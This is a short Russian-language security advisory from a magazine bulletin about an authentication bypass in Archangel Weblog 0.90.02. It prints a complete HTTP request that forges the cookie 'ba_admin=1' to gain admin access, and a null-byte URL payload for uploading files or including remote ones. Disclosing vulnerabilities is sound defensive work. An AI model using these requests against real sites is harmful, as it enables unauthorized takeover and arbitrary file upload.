Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в Archangel Weblog.
Компьютер для продвинутых
пользователей
Содержание:
Archangel Weblog
ПО: Archangel Weblog
Версия: 0.90.02
О программе:
Archangel Weblog - новая, полностью графическая программа для управления
блогами. Написан на PHP и использует MySQL базы данных, Archangel Weblog
легок в установке, настройки и поддержки. Может использоваться
пользователем любой квалификации.
Ошибка:
Ошибка вызвана недостаточной проверкой пользовательского ввода.
Пользователь может легко подделать cookies для получения
административных привилегий. Пользователь может войти в панель
администратирования и может закачать на форум любой файл.
Использование:
Для получения административного доступа к скриптам weblog, просто
используйте следующий запрос:
[http get request]
GET http://127.0.0.1/awb/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051229 Firefox/1.0.7
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ba_admin=1
Cache-Control: max-age=0
[/http get request]
или просто добавьте запрос в cookie.
Теперь просмотрим /admin/index.php , линия 54:
Так возможно закачка любого файла использую символ NULL для фильтра при
использовании PHP.
Например:
http://127.0.0.1/awb/admin/index.php?index=http://www.google.it%00